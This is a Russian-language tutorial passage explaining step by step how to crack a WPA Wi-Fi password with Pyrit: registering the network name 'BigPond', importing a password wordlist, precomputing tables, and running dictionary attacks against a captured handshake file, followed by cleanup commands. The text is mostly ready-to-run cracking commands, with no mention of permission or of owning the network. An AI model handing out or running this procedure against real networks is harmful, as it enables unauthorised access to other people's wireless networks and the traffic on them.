Использование Pyrit

Создаём ESSID в базе данных Pyrit

Сейчас нам нужно создать ESSID в базе данных Pyrit

```
pyrit -e BigPond create_essid
```

```
1 pyrit -e BigPond create_essid
```

ВНИМАНИЕ: Если в названии ТД есть пробел, например, “NetComm Wireless”, тогда ваша команда будет вроде этой:

```
pyrit -e 'NetComm Wireless' create_essid
```

```
1 pyrit -e 'NetComm Wireless' create_essid
```

Я знаю, много людей столкнулись с этой проблемой

Шикарно, теперь у нас есть ESSID, добавленный в базу данных Pyrit

Импортируем словарь в Pyrit

Сейчас, когда ESSID добавлен в базу данных Pyrit, давайте импортируем наш словарь паролей.

Используйте следующую команду для импорта предварительно созданного словаря паролей wpa.lst в базу данных Pyrit.

```
pyrit -i /root/wpa.lst import_passwords
```

```
1 pyrit -i /root/wpa.lst import_passwords
```

Создайте таблицы в Pyrit, используя пакетный (batch) процесс

Это просто, просто наберите следующую команду

```
pyrit batch
```

```
1 pyrit batch
```

Вы должны быть осторожны, насколько большой ваш файл словаря и насколько ГОРЯЧИЙ ваш процессор и графическая карта. Используйте дополнительное охлаждение, чтобы избежать повреждения.

Процесс взлома

Атака на рукопожатие (handshake) из базы данных, используя Pyrit

Легко. Просто используйте следующую команду для начала процесса взлома.

```
pyrit -r hs/BigPond_58-98-35-E9-2B-8D.cap attack_db
```

```
1 pyrit -r hs/BigPond_58-98-35-E9-2B-8D.cap attack_db
```

Вот и всё. Это заняло несколько минут, чтобы пройти по всей таблицы базы данных для получения пароля, если он присутствует в словаре.

На заметку: Я пробовал это на другой машине с графической картой NVIDIA с установленными CUDA и Cpyrit-CUDA. Очевидно, это было намного быстрее моего ноутбука. Но в любом случае, это супер быстро.

> Если на этом этапе появилась ошибка Pyrit, то посмотрите статью "Решение проблемы с ошибкой Pyrit: IOError: libpcap-error while reading: truncated dump file; tried to read 424 captured bytes, only got 259".

Атака на рукопожатие (handshake) с паролем из файла или словаря, используя Pyrit

Если вам не хочется создавать базу данных и crunch, а хочется напрямую копошиться в файле словаря (что много медленнее), вы можете сделать следующее

```
pyrit -r hs/BigPond_58-98-35-E9-2B-8D.cap -i /root/wpa.lst attack_passthrough
```

```
1 pyrit -r hs/BigPond_58-98-35-E9-2B-8D.cap -i /root/wpa.lst attack_passthrough
```

Очищаем Pyrit и базу данных

Наконец, если нужно, вы можете удалить ваш essid и сделать очистку.

```
pyrit -e BigPond delete_essid
```

```
1 pyrit -e BigPond delete_essid
```

Для анализа файла использовать Pyrit:

```
pyrit -r BigPond_58-98-35-E9-2B-8D.cap analyze
```